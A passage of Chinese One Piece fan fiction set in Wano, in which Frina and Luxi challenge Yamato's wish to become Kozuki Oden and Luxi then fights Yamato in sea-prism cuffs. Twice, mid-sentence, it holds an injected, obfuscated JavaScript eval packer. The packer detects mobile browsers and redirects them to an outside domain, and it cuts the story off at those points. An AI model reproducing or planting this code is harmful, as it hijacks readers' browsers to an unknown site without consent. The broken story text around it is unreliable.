但是，她的问题很奇怪，大和甚至觉得这个女人不需要答案，因为她用的是肯定的语气。 芙丽那问她：“我想，你口中的赤鞘九侠，一定全部是男人，是吧。” 72.和之国 芙丽那自幼是在由男人为权力顶峰的社会中长大的。 她来自西海，出生的岛屿，由黑手党的人把持。 西海有所谓的五大家族，旗下则是零零散散分布着各种小型家族，而家族中主管一切的男人，被称为教父。 她当初不觉得有什么，后来才察觉这称号有诸多可笑之处。 父来自对母的拙劣模仿，教父也不过如此。 当然，黑手党也不是没有教母，只是人数稀少，可忽略不计。男人有意识地排除女人，不允许女人分享权力。更多的时候，女人作为男人的战利品出现。 于是，尽管教父也由母孕育而出，可母却因失去权力，以至于只能成为装饰性的、工具性的、刻板性的存在。 而在一个由男人掌管话语权的地方，所定下的规矩、作出的决策，最终结果自是朝着利男的方向涌动。而男人们，也永远的在惺惺相惜同性别的他。他的强大、他的勇猛、他的无畏、他的无奈、他的悲哀、他的无数无数…… 就算他是一个懦弱如鼠的男人，也可以夸赞为，他是最典型的普通人的缩影。 自然，普通人中，只有一种性别。 因为女人，是只需要为男人倾倒的、眼冒爱心的、如痴如醉的、受其保护又需要在必要时刻奉献一切的、只需展现自己身材的……落魄时为他们知心的解语花，得意时为装点他们的牡丹花。 听话的女人是可爱的小东西，反抗的女人是可怖的妖魔。归根结底，他们追求的，是主体只为他们的平等。 而她们是一种符号的象征，失去了人这一概念。至于她们的故事，也自然会被男人的故事掩盖住。即便她们，曾鲜明的存在于某处。 芙丽那花了很长一段时间，失去一些，得到一些，才明白这个道理。 她杀了一位教父，也是她生物意义上的父亲，而后被通缉，从大地来到海上，一路前行，离开那个男气熏天的地方。 逃离的最初，她是快乐的。她觉得，自己总算能过上一段不一样的人生了。可是后来，她察觉，好像不管去到那里，总会有相似的故事，相似的底色与相似的构造与相似的结局。 她困惑了，为什么，她们总是在逃离？为什么，她们总是在退无可退后、失去一切后，才开始反抗？ 她开始思考，她想，也许死掉的不是她一个人的妈妈，死掉的是所有人共同的母亲……在许久以前。于是，父的存在遭到确立。 而一个女性，若自幼生活在男人与父组成的地界时，她必然会失去“她”的视角。 就像大和。 她清楚，有一些事情与情感，诸如贝格、路希这样的孩子永远不会懂。因为她们自小自我意识强大，且人生又从未遭到诸多束缚，得以自然成长。她们踩碎了父的枷锁，无畏前行。 这些孩子从未经历过她这样的人生，也不像大和一样长大，因此许多时候，无法感同身受。但没有经历过，是一件很好的事情。她们本就应该这样成长。 然而即便如此，她们也同样会在成长路上遭到一些困惑。 譬如贝格会问她，为什么四皇中只有夏洛特·玲玲一个女人？为什么七武海中只有女帝一个女人？而路希如果朝上走去，或许也会发出：为什么三大将都是男性？为什么元帅也是男性？为什么世界政府的五老星，权力最高层的五个人都是男性？ 是啊，为什么呢？或许因为这并不是女人的故事吧，或许更高一层的造物主认为，只有男人值得描述。又或许还有一个幕后黑手——造成世界现在这般模样的人是个女性，一个疯狂的女性，一个男人认为她是疯狂大母神的存在——是她操纵了五老星，操纵了世界政府与天龙人，为了一个可怕的愿景。 又或许什么都不是，没有幕后黑手，所有男人都明目张胆地站在女人眼前宣告这就是男人的世界。 而就算有这样一个女人，那个女人也注定是为了被另一个命中注定的男人打倒的垫脚石的存在。 世上所流传的诸多故事，不总是如此吗？ 因此，听到大和的那句“天真的男人”，她终于忍不住笑出声。 男人总是在天真，而女人总是要成熟到谅解与包容。可那是天真吗？她以为，这个词只会用在不谙世事的小孩身上。 但她并不奇怪大和会这样形容光月御田。因为她已知晓和之国是何种存在。于是她说道：“我想，你口中的赤鞘九侠，一定全部是男人，是吧。” 大和点头。 芙丽那语带嘲讽：“他确实是个天真的男人，因为只有这样，才能掩盖所有因他自身愚蠢所导致的过错。” 这话如此具有攻击性，与她平日表现出来的性格毫不相同，就连路希也讶异了一下。 大和猛然质问：“你什么意思？” 芙丽那冷笑：“愚蠢说是天真，胆小说是审时度势，冲动说是勇猛，暴虐说是天性纯粹，男人们就是这样一直在美化自己，可真要看看他们做了什么事呢？” “复仇者成功窃国，海贼成了护国明王，而他，人生度过三十多载，出海航行归来，知道要娶妻生子，却依然天真啊。” “他们——那些光月御田的追随者，不敢承认自己的君主就是这么一个无能的家伙，或者说，这群男人，知道每一个男人都可能会是光月御田这种男人，所以，他们必须狡辩，他们必须找到理由，他们必须用言辞美化自己，因为彼时对御田的批判随时可能会落到自己头上。伟大的男人，不能忍受自己竟然真的毫无用处，于是，他们所有的失败都成为了无可奈何。” “敌人过于狡诈，已方过于天真，命运的命中注定，他们必败无疑。” “可强大的光月御田，即便落败，依旧能举起赤鞘九侠，有着能在油锅中撑过一小时的能力，然而即便如此，他就这样宁愿被活活煮死，也不愿赌上本就在生死关头的性命，给观望的凯多与黑炭全力一击，争取最后反败为胜的机会。” “反而还要另一个女人出面，在人群中宣传着他是如何悲情的一位英雄。因为只有在这样死亡前的宣传，才是能让民众，能让真正天真的孩童——铭记于心的死亡；才能让真正单纯的孩子——发自内心的崇拜他，去追随他的脚步。” “我看他享受得很，否则何故死前还吟诗呢。” 她锐利的眼直指大和，大和几乎暴怒，然而却骤然一阵心惊。在那个时刻，同一时刻，她几乎压抑不住愤怒之时，无数双眼睛同时注视着她，无数道视线同时落在她身上。 那些——慵懒地靠在栏杆上的女人，坐在沙滩上看海休憩的女人，同时看向她，硬生生压制住了她的愤怒。 从来没有这样的时刻，她与这么多女人的视线产生链接。 那些视线冷淡又锐利，却有如实质的丝线，捆绑住她，让她动弹不得。大和张了张嘴，试图说些什么，可好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536272|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半天过去，海岸只是安静的沉默。 大和突然发现，她什么都说不出来。 反倒是路希因为芙丽那的这段话想起了曾经与古伊娜的一次谈话。她开口，说道：“我有一个朋友，她的祖辈来自和之国，听说是厉害的剑客。” “剑客，在这里就是武士的意思吧。” “她说，和之国一定没有什么女性剑客。因为她的爸爸说，女人成为不了出色的剑客。可是我这个朋友的爸爸，只是待在一个很小的岛上，哪里都没去过。所以他了解到的，是和之国的剑客。” “但我的这位朋友，很强很强，她的梦想是成为世界第一大剑豪。她和我一样出了海，正朝自己的梦想拼搏中。可我想，如果她在这里，是永远没办法成为一个大剑豪的。” 路希缓慢地说道：“因为这里的女人，连一个属于自己的故事都没有。”她藏在植物枝条下的双眼望向大和，“你说光月御田有妻子和孩子，后来这个女人和她的孩子呢？还有赤鞘九侠，他们也和光月御田一样，娶妻生子了吗？” 与芙丽那尖锐的嘲讽不同，路希的语气很平静，好像只是在普通的问好，可大和发现，她依然没法答上来。 她不知道，或者说，她只清楚光月御田的妻子和孩子们的事。 因为光月御田才是这个故事的中心，于是作为这个中心人物的妻子与孩子的事情，才碰巧被她注意到了。而即便如此…… 大和有些艰难的开口：“光月夫人……死掉了，御田城烧起了大火，据说，赤鞘九侠与光月家族的所有人都死在那场大火里。” 路希继续缓慢地发问：“那、光月夫人，叫什么名字？” 大和沉默了，“我不知道，我没有见过她，也不曾听老爹他们谈论她。不过，我知道她的儿子，叫桃之助。” “她只有一个儿子吗？” “不，应该还有一个女儿。” “那女儿叫什么名字？” “……我不知道。” 她确实不知道，当时她跑去九里，看到的是凯多扔下桃之助，而光月夫人与那名女儿，似乎就这样湮没在历史的洪流中。 女人们的故事，就这样轻飘飘地化作一阵灰烟，飘向远远的天际。 路希没有继续问大和新的问题，只是说道：“等你伤好后，我们来打一架吧。” “什么？！” 话题跳跃得如此之快，连大和也忍不住茫然。于是路希重复一遍：“等你伤好后，我们来打一架吧。你手上的是海楼石手铐吗？” 大和默了片刻，点头。 路希说道：“那我也会去弄一副海楼石手铐与你对打。” 大和发问：“可是为什么？！” 又是几秒的寂静，就在大和以为自己听不见路希的答案时，对方却开口了。 “因为，你不是要成为光月御田吗？所以我得和你打一架，我要告诉你，就算没有芙丽那说的这些，就算光月御田真的是一个尽到了自己所能的好将军。但，如果你想成为他，你就永远打不过我。” “为什么？！” 枝条的遮掩下，大和看不清对方的任何表情，可不知为何，她能判断，眼前之人在笑，但那并非任何讥讽或嘲笑，而是明确了某种事实肯定的笑。她听见路希的声音传来。 “因为，一个想要成为男人的女人，是没法打赢任何人的。她连自己的路都没能找到。” 73.和之国 大和此前从未站在自身性别上思考过这一问题，她立足于一种更加宏大的叙事。 那叙事描写的是悲情英雄的故事，有受苦的百姓、残暴的反派、反抗的斗士。而在必要的时刻，那些百姓也要成为蠢而不自知的反派，用以衬托英雄人格的伟大、以及他不受理解的悲哀。 一直以来她的心中热血沸腾，每一次与凯多的战斗结束后更是心生悲壮之意。她总是重伤的躺在地上，一个人，与飘荡在身上的痛苦悄悄打个招呼。她无数次地想起光月御田在油锅中支撑至最后的身影，还有那个女人悲愤喊出的真相。 英雄、英雄。 她的眼中、心中、脑中就这样被这两个字占据。 被数万人铭记，被数万人哀悼，被数万人寄托着希望。 光月御田啊。 她反抗了凯多，她也是这样的英雄。 大和带着一个死去之人的愿景独自生存在鬼岛，在这种角色扮演中得到一种隐隐的满足感，她迫切地想要去往某个地方，然而就连她自己都不清楚想要去哪里。只是一直以来有个声音焦急地催促她自己，不要留在和之国，不要留在和之国。 但总之，作为凯多的女儿，她必须留在和之国。 从来没有海贼理解过她，也没有和之国的民众支持过她——他们甚至不知道她在抗争，作为父亲的凯多也是，每次都大声地怒吼，不准她离开和之国，不准她成为光月御田。 她心想自己的一生都是被否定的一生。 今天也一样，新来的海贼团继续否定了她——或者说，作为他的她。 她觉得愤怒，又觉得这种愤怒恍若空中楼阁，没个立足点，毫无真切实感。她究竟为何要如此愤怒呢？而且，被否定如此多次，她其实早就已习惯，不是吗？ 那么，究竟是为什么？在这种愤怒的同时，她又隐隐觉得心中发凉，同时又有几瞬觉得十分好笑，想要爆笑出声呢？ 因为、因为，她想，其实答案也很明了。 即便是作为真正统治和之国的凯多，她的父亲，怒吼着不准她成为光月御田时，自身其实也抱着对那位英雄的敬佩与实力的肯定。他只是不喜欢自己站在对立面，如若她说自己要成为百兽海贼团的光月御田，想必对方最终只会无奈地叹息接受。 因为、因为，他认为光月御田确实是一位可敬的对手。胸膛的那道伤口是实力不足的实质性象征。他惧怕着光月御田，也畏惧着他的血脉，因此才要赶尽杀绝。 可是，眼前的这群女人不一样，她们从另一种层面上否定了光月御田。与他的强大、弱小都无关，从一种更实质性的根源上。 他是个男的，男人们的故事很无聊。 仅此而已。 第一次有人在她的面前，如此彻底的、强烈的、完完全全的、否定了男人们的故事。 第一次有人告诉她，那不是对的。第一次有人对她说，这位英雄，曾有数次机会改写结局。第一次有人告诉她，英雄，是个蠢货。第一次有人对她说，想成为男人，她注定失败。 在这种完全的否定中，大和倏然间想起的，是当年凯多跑到九里，抓住桃之助，将对方从高空扔下去的情景。 她想起的，是凯多当时说，在这里将你杀死，光月御田的血脉也将彻底不复存在。 可是……明明光月御田还有一个女儿啊。但只要杀死了儿子，血脉就断绝了吗？ 凯多忘了，她自己也忘了，许多人都忘了，或者说，刻意的忽视了。因为那位不知晓姓名的女儿，是个女性……因此，她分明身上同桃之助一样，即便流淌着光月家的血脉，也不足为惧。 只要杀死同为男性的桃之助便足够了。 那么，她、其实早就在这种不知不觉的影响中，厌恶着作为女性的自己吗？在无法解析的潜意识中，她认为，作为女性的自己，无法扛起开国的大旗，解救和之国的民众吗？ 为什么？她想，为什么想要出海，想要开国，想要打败凯多，自己一直以来就一定要抛弃自己女性的身份，成为光月御田？是因为她自己内心其实一直惧怕着凯多，所以急需一个具体的形象来填满自己的心灵吗？ 可是……没有这种鲜明的女性，作为另一个抗争者，光月御田的妻子，同样惨烈死去的那个女人，也只是在那场大火中留下了点只言片语，却依然是在述说着，那些作为反抗者的男人，迟早一日会再度归来。 从小到大，围绕着她成长的，从来只有男人的故事。和之国没有女性武士，赤鞘九侠全是男人，同样抗争到最后死去的光月夫人在这些英雄的故事里只有寥寥几句。 女人是……只需被保护的，然后，牺牲即可。 凯多一直以来不认同她作为光月御田，却不在意她抛弃自己的女性身份，甚至会叫她愚蠢的儿子……是的，成为光月御田不被允许，但成为男人，是被允许的。 因为她，相当强大，在八岁那年就能用霸气打倒百兽海贼团的海贼们。成为光月御田，意味着这份强大将作为敌人的力量，而成为男人，却并不是对立面。 因此，凯多就这样忽视了她的性别认同问题，却坚持她不可以成为作为敌人的光月御田。 大和从来没有站在这种角度思考过问题，她觉得相当新奇，甚至缓解了一部分被否定的愤怒。 但是—— “我不会被你打败的，我是大和，是凯多的儿子，要成为光月御田的男人。” 即便如此，她还是坚持着这个身份，应下了对方的战斗邀请。 “不过，如果你真的觉得能做到的话，那就来打败我吧，来打败身为光月御田，身为男人的我——！” “到了那时，或许我就能心甘情愿地承认，你们说的话是对的。” 大和痛快地大笑过后，直起身子，对她们摆了摆手，“那么，我先走一步。总之，谢谢你们刚才对我的治疗，我会记住的。” 她向前走去。 海浪摇晃。 “你觉得她会明白吗？” 忽然，有一道女声传来，来到芙丽那的耳中。那声音有些耳熟，是船上的某个女人问出来的，可又说不清到底是哪个女人，好像有那么一瞬间，所有的女人站在她的身后，问出了这个问题。 你觉得她会明白吗？ 那么，她要怎么回答。 芙丽那面色平静地看着大和的身影朝前而行，未曾后退，直至消失在自己眼中。她双唇动了动，说道：“我不知道。” 是的，她不知道。她不清楚这个孩子最终会选择何种道路，她好像明白了，又好像不明白。她认为她们说的有道理，可又不能轻易放弃过去数十年间自己所坚持，为之抗争的一切。这很正常，因为大和就是坚持着那些才成长到今日的。人不可能只凭借几番话就剥落这些塑造自己的一切，就连芙丽那自己也是在不断困惑与抗争中才走到这里。 说到底，所有能说的，要说的，她自己早年弯弯绕绕，不断碰壁才明白的一切，都在今日，此时此刻告知于对方，剩下的路，也只有大和自己能够选择。 她、她们，这些女人们，也只能这样无声观望着。 所有的真相其实早就摆在眼前，区别只在于愿不愿意去看、去接受。 而在这种无声的沉默中，路希也同样蹦跳着朝前走去，轻松地说道：“她肯定会明白的。因为她是大和，而我会打败她。” 于是，看着这道新的背影，芙丽那忍不住微微笑起来。 “是啊，我们的海军英雌。” 能在大海掀起这么一番大轰动，并在世经报拥有以自身为形象连载的女性海军，她第一次遇见。 她想，或许就是因为这样，她们才能一直接受路希待在海贼船上，才会不想法设法，明里暗里赶她下船，即便到了凯多的领地，也不打算揭露对方的海军身份，甚至和她站在同一条线上。 因为，她是如此快乐的，作为一个女孩成长。 她和乌塔，早已成为了她们没有关系的女儿、姐妹、同胞。 她会带着胜利归来的，芙丽那的心情无比轻松。 * 鬼岛以另一种形式热闹了起来，原因在于新来的海贼团中有个不知天高地厚的新人要挑战凯多的儿子大和。 而且同样戴着和大和一样的海楼石手铐。 没有一个海贼能抵挡住不八卦这样的事情，几乎每时每刻，都有人在挤眉弄眼，或是聚在一起窃窃私语。 “听说了没……” “那个新来的海贼团……” “挑战少主……” “还要戴着海楼石手铐……” “真的假的……” “这可是少主，老大的儿子……” “有人计数过少主挨了多少次雷鸣八卦吗？” “那新人什么来头？” “没听过啊？有赏金吗？” “好像什么都没，是陪奎因老大看中的那个音乐家一起出海的。” “买定离手咯买定离手……下一注看看谁能赢咯，现在的比率是……” 芙丽那把所有财宝全下注在路希身上，船员们笑着谈论道：“哎呀，输了的话我们就血本无归了。” 芙丽那也笑着回：“那就没办法了，只能让小希赔给我们，她肯定很有钱。” 乌塔因为没钱只能遗憾离场，不过本人正在有计划性的在鬼岛举办小型歌会，试图用自己的歌声为路希拉票。作为一个天赋异禀的音乐家，她已经完全掌握了三味线的弹法，正打开新乐器的大门。 虽然玛利亚说可以借钱给她，就是有利息，乌塔总感觉会演变成利滚利的可怕场景，委婉拒绝了。玛利亚总是笑着，脾气很好，可她有时还是能感觉到这个女人身上有一种可怕的气息。 同样下注在路希身上的还有奎因，倒不是觉得路希能赢，而是因为赔率一边倒，他纯粹为了找乐子，反正对作为大看板的他而言，这点钱只是沙堆中的一粒沙。 另外下注在路希身上的是作为飞六胞的润媞，虽然作为另一个飞六胞的成员，她的弟弟佩吉万满脸惊慌地试图拦住她，只是没起到任何作用。 “姐姐姐……你在给谁下注啊？！怎么想都不可以支持这个新人海贼吧。” 润媞强横地推开他，“啊？你说什么？！我凭什么要给下注赌那个讨人厌的家伙赢，那家伙太讨厌了！我就是要下这个新人海贼赢！你也给我下注赌她赢。” 大概出于某种幼稚的反叛心理…… 佩吉万：……你连人家的名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573375|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字都没记住。 他不敢说出来，只能无声吐槽。 下注之后润媞还一路疾走狂奔地找到了正在日常训练的路希，大喊道：“喂小鬼，你必须给我打赢大和那个讨厌的家伙，明白吗？不然我就亲自来找你算账！” 路希：“……？” 润媞打量了一番路希，心生不信任之情：“嗯不对？你长得也太矮了吧，看起来就好弱，你真能赢吗？要不我给你来一场特训吧。” 路希惊了，还有这种好事，免费的沙包送上门了！ 不过还没等到她回答，刚追上润媞的佩吉万就看到她姐准备揍人，慌忙再次上前拦住：“姐姐姐……你冷静一点，人家肯定是有实力才会提出对战请求的，你不要打扰别人了！” 诚然佩吉万也不认为这个叫小希的海贼会赢，但他更不想看到她姐到处惹祸……佩吉万苦心劝说，惹得润媞满腔委屈与愤怒：“什么？小佩，你居然……帮着别人说你老姐我到处搞麻烦，你站在哪一边的啊！” 她直接抓住弟弟的衣领强势质问。 佩吉万差不多也要忍不住了：“我没有说啊！我只是想让你至少收敛一点……” 润媞怒吼：“你看不起你老姐我的实力吗？！” …… 路希就这样默然无语地看着两个人吵吵打打地走掉了。所以，她忍不住想，她们到底来干什么的，表演喜剧片段吗？ 以及最后，引起众人轰动，下注路希赢的是凯多本人。 底下的海贼吵吵闹闹，涉及到的又与大和有关，此番事情很难不传到凯多耳中。从烬那里简单了解到发生何事后，他问：“烬，你认为谁会赢？” 烬想起初见那日对方登岛的情形，答道：“若使用恶魔果实能力，或许能赢。但同样戴上海楼石，我无法确定。” 凯多沉思片刻，说道：“既然如此，我就给那个新来的海贼下一注吧。” 他差不多早已遗忘初次见到这群新人海贼们产生的印象，只记得全部都是女性，其它的没什么可说。其中竟有人想要挑战大和倒也让他有点吃惊，不过也仅此而已。 凯多并不觉得自己的威望受到挑衅，海贼的世界讲究一个物竞天择，适者生存。只有强者才能活到最后，就算那个人是他的儿子，也得用实力说话。 输了无所谓，赢了也可以。就算是给大和一个教训吧。这个世界上能打败她的人多的是，别再想着当光月御田了。 真要说的话，下注这个新人海贼，他确实也抱着赌一赌的心思，看看对方，能为他带来何种惊喜。 而路希对此浑然不觉，她正忍耐着颜料落在她脸上奇妙的触感。 要戴上海楼石手铐，她用植物枝条做出的伪装状态注定无法持续下去，可她总不能在四皇大本营露出真面目，真这样，就不是她与大和对打，而是挑战整个凯多海贼团了。那这条命都不一定能保住。综上所示，她得换个伪装。 正巧贝格的船上有当初在艾蕾吉亚用剩的颜料，于是船上的女人们便兴致勃勃在她脸上描绘了起来。 画点什么也是有讲究的，不能直接乱画。贝格提议直接画狗狗之神，船员们欣然同意，路希总感觉会在气势上有点不足，不过芙丽那保证会把她画得威压满满，震慑感十足，因此路希便也信任她们，任凭她们在自己脸上涂画。 到最后颜料使用最多的是蓝色和白色，芙丽那说远古的狼神差不多就是这样，狼也属于全科，是久远的犬神。然而在眼部，她又专门涂上了红色的颜料。 “因为要气势十足嘛！” 这是第一层伪装，而为了防止意外，除了脸上的涂画，她还要戴个面具，面具的外观和她脸上的涂画一模一样，也是贝格的船员制作的。 至于为什么船上还有空白的面具，深究起来，大概就是船长热爱搞事，有时登岛，船员深感丢脸与心虚，于是决定偷偷摸摸戴着面具掩盖真实面目——只要你看不见我，就说明那只狗不是我们家的——迷之掩耳盗铃的心思。 而到了后来，不知为何，就发展成举办赞颂狗狗之神宴会时，大家都会各自描绘想画的图案，戴上的东西了。 总之，所有人对此都玩得挺开心的，一点都看不出接下去要打场硬战的气氛。而事件中心的另一位主角，大和，对于凯多下注给路希的事情，心情也是毫无波澜，因为她同样没有关注这场赌局。 一来，虽然热闹，但总归是暗地里的活动，即便凯多也参与，但仍然没有放到明面上举办。二来，她在百兽海贼团的人缘，不能说人气十足，只能说毫无人气。 即便大家都知道她是凯多的儿子，但由于众所周知的原因，所有人都知道她心思放在了百兽海贼团对立面的敌人身上。 这也是为什么，每次她挨打结束，永远只有自己帮助自己处理伤口的原因。毕竟双方都有点看不惯彼此。 不过……她想，很快，一切都会有个定局了，她已迷茫的独行太久，现在终于有吹散大雾的风，这道风，最终又会带她走向何处呢？ 是过往所坚持的一切皆是正确的，还是她确实要重新走向另一条全新的道路？就让她看看，是雾吞噬风，还是风卷走雾。 她等待着，路希也同样等待着，伤势复原那日，战局的开启。 74.和之国 戴上海楼石的感觉很不好，全身无力，像是被抽掉了骨头，怎么站都站不起来。最初的几天，路希手中带着海楼石手铐，走路摇摇晃晃。 “真的没事吗？” 乌塔担忧地问她。 路希摇摇头：“可能有点事。” 乌塔：“……” 乌塔来不及将担忧说出口，就见对方笑起来，“开玩笑的！如果大和能带着这个玩意生活十多年，还戴着这个挨凯多的打，那我肯定也行。时间问题！” 路希确实快速地适应了海楼石带给身体的影响，因为不能输，于是与其说是体质太过天赋异禀，不如说还有另一股顽固的意志与信念支撑着她。 无论如何，要打倒大和。 挨四皇的狼牙棒打是一种什么体验，路希不清楚。在这十多年大和成长至何种程度，她也不清楚。她只能在最短时间内调整自己的身体状况。而且，路希不认为自己的胜率有这么低。 毕竟，好歹她也是在三大将和卡普手中挨打着成长到现今这个地步的，如果把一个大将算作一个凯多，那么她至少挨过三个凯多的打！而更早的时候，她是挨着卡普的铁拳长大的。 大家都是挨打长大的，谁也别太小瞧谁。 不过海楼石手铐同时也给路希增添了训练新灵感，日后离开和之国，她要把这个手铐也带走，然后与青雉他们对打。 战斗的时刻不多日便到来，大和作为动物系恶魔果实能力者，本身就拥有超高的恢复能力，加之凯多打她来来回回都是那几招，她的身体也早已习惯这种攻击。 两人选在城堡的正门前开打，其实海岸也是不错的战斗场所，空旷兼障碍物稀少。然而大和手上的手铐设定了离开鬼岛就会爆炸的程序，考虑到战况难以预测，万一打着打着大和飞出去就不好了，那样路希就不用费心心思打败她，因为大和会自己炸成烟花。 因此路希她们最终还是选定了在正门开打。 “不过凯多对你还真是够狠的呢。” 路希很是感叹，虽然卡普训练她和路飞时也没好到哪里去，但至少没往她们身上安炸弹。人总是在对比中得到幸福。 “就是啊，哪有这样对自己小孩的，所以我说他是混账老爹不过分吧。” 之前还没有人跟她一起指责过凯多呢，作为百兽海贼团的老大，底下的海贼们只会用各种角度吹凯多。现下看起来好不容易有个同盟——虽然她们等下就要打一架——但不妨碍大和现在抱怨。 路希用力点头，强烈表达自己的支持。照她的想法，大和认为自己是男人，光月御田的问题占一半，剩下一半凯多占。她说道：“要我说你骂得还是太轻了，不过你也打不过凯多，骂太重估计还会被他打得更狠。” 大和大笑：“哈哈哈是啊，有这样的老爹真是烦人。” 路希心生唏嘘，不由得想起了同样有爹却无妈的古伊娜和乌塔，又想起自幼没爹但有妈的自己与孔雀，一番对比下，顿时感觉领悟了什么，掷地有声道：“爹，就是冒险的反义词！” 大和双眼一亮，感觉心灵霎时冲破迷障，遇见了挚友，更大声地说道：“没错，爹——就是冒险的反义词！” 路希本想拍拍对方的肩表示安慰，奈何一伸手发现身高不够，只能退而求其次拍拍她的手臂，“没关系的，到时候我打败你，你离开男人和父亲的大伞就会发现外面根本没有下雨。” 大和笑得更畅快了，“你可别放大话，先打过我再说。” 两人就这样有说有笑，一副关系很好的模样来到场地中央，惊呆了一旁围观的海贼们。有的海贼擦了擦额头上留下来的冷汗，小心翼翼地看着坐在最高处的凯多，不是，你们当着自家父亲和老大的面都在谈论着什么啊，而且你们分明要打架，为什么关系看起来还这么好啊—— 好在，凯多看起来毫无动怒的意思，不知是听见了还是没有听见。 凯多没什么动静，大看板之一的奎因却忽然堂堂登场，站在临时搭架的台子上，手拿着麦克风，一打响指，音乐声激烈地响起。 是的，作为一名优秀的歌舞爱好者，百兽海贼团内有名的宴会主持人，奎因认为自己不能错过这样一个展现自己魅力与艺术的机会。 虽然这看起来只是一场平平无奇的对战，但鬼岛内，几乎所有海贼都参与了赌注，甚至连凯多都下了注，这场战斗注定引人注目。既然如此，就由他来点燃战斗的气氛！让这场战斗，变得更加热血起来。 一瞬间花里胡哨的灯光照耀着舞台，奎因在台子上蹦蹦跳跳，路希还看见了乌塔也在旁边拿着三味线蹦跳着伴奏和声，仔细一听歌词中还带着为她助威的一些词句。 乌塔的这种行为很快引起了奎因的注意，因为她的歌声显然干扰到了他的发挥，然而这是在舞台，如果他因此受到影响那只能说明他的唱歌实力严重不足，奎因的胜负心一下子燃起。既然如此，就让他——用歌声来打败这个不知天高地厚的小鬼，夺回他的主场！ 而围观的海贼们此时也全部将注意力放在了这两人身上，底下霎时分成了两派，其中一派狂喊着“奎因！奎因！”，另一派不甘示弱地喊着“乌塔！乌塔！” 一时间群情激昂，欢呼声与歌声响遍整座鬼岛。 就这样，在路希和大和战斗之前，乌塔率先作为支持她的一方与百兽海贼团用歌声来了一场对决。 路希与大和几乎同时发出感叹：“……哇，好热闹啊。” 她们来这里是干什么来着？ 路希感慨地摇摇头，百兽海贼团果然是遭闭关锁国的政策压抑太久，一场战斗就能把他们激动成这个样子，甚至打前还要开个演唱会。哎，她很是宽容的叹了口气。没关系，她一向是个很有为民服务精神的好海军，在离开和之国前，必定会留下礼物的。 大和挠挠头，看着听着演唱会激动的人群，提出建议，“要不我们换个地方打？” 路希点头，“也行。”这地方现在确实不好战斗。 于是两人就这样转身离去，众人沉迷于演唱会的对决，以至于无人察觉。唯有最上方的凯多喝下一口酒，目送着她们离去，却也并没有跟上去的打算。 兜兜转转，路希和大和还是来到了海岸边。 “我们就是在这里碰见的呢。” 虽然不过数天未见，大和依旧一副怀念的语气。 “相遇的起点，同时也是结束，听起来不赖！” 路希眯眼笑了起来。大和看着对方脸上戴着的面具，有些好奇，“我早就想问了，你为什么要一直把脸遮住呢？” 这个问题，这些天见过的其他海贼们也曾提出问过。当时，路希躲在乌塔的身后，紧紧抱着乌塔，一副不好意思的模样，放轻声音说道：“我害羞，如果被别人看到脸，就会浑身僵硬，难以出手。” 得到回答的海贼满是无语，乌塔双手叉腰，气势汹汹地赶走这群来问东问西的海贼们护住她：“不准欺负小希，而且我又没带面具，这么想看脸，看我的脸还不够吗？我们可是姐妹哦！” 而此时面对大和，路希换了个答案：“因为，我怕凯多看到我的脸直接雷鸣八卦把我打死。” 大和：“……？”她忍不住发问，“你在外面是干了什么？” “想知道吗？”路希咧嘴一笑，举起手中同大和一样的狼牙棒，这次她专门为了这场战斗准备的。她藏在面具下的眼睛直直盯着大和，发出邀请，“那就到时候一起去看看吧。和之国外的世界，可是相当精彩。” 战斗是瞬间开始的，无需多言，两人安静地注视着彼此，海浪席卷上岸，又须臾退下。下一秒，狼牙棒与狼牙棒碰撞，发出“咣”一声巨响。 双方力气相当，谁都没有后退一步。 “你手劲挺大。” 大和仗着身高优势，自上而下打量着路希，与先前稍显温和的神情不同，开战后，一股凌厉的气势由内而外从她体内发出，像是一头正在伺机而动的嗜血野兽。 “打出来的。” 路希语气轻松答道，话音落下的同时，右脚骤然发力，袭向大和。大和同样抬腿挡下，单脚站定，手中攻势不减，狼牙棒咣咣相撞，节奏毫不输给远处的演唱会。 一番试探后，两人默契地各自后退几步。 大和凝视着路希脸上的狼神面具。这个面具上的图案，与她吃下的这个恶魔果实幻化成的形态些许相像，不过，面具上的颜料更加丰富多彩，仿佛在无声奏响着一曲永不言败的战歌。 她有点喜欢面具眼角下方的那几抹红，像是用猎物的血染上的。 海楼石手铐压制下，她无法变身兽型，但这并不妨碍她燃起充斥着野性的战意。大和一跃而起，气势凶猛地直冲路希，路希毫无退让之意，同样用攻击迎接她的攻击。 对打中，大和恍惚感觉自己回到了遥远的过去，那是人类尚在茹毛饮血的时代，野兽于山林疾行，或自茂密的树丛间骤然跃出，对锁定的猎物发起奇袭。 她感到一股自幼时起便被压制的某种情感正不断盘旋向上而起，这是与凯多的对战中难以得到的。他太强大，一招就能击败她。唯有在此时的这种战斗，胜利既触手可得，但失败又近在咫尺。 输赢与生死都如此紧密地贴近她，她几乎想痛快地放声大笑。 几乎是同一时间，狼牙棒自两人的手中脱手而出，遥遥落至海岸上。而两人几乎没有片刻的停顿，武装色霸气缠绕手腕，拳拳相撞。 “果然……”大和心中激情澎湃，“你也有霸气——！” 路希嘴角向上弯起，“不然我可不敢轻易说出打败你这种话。” 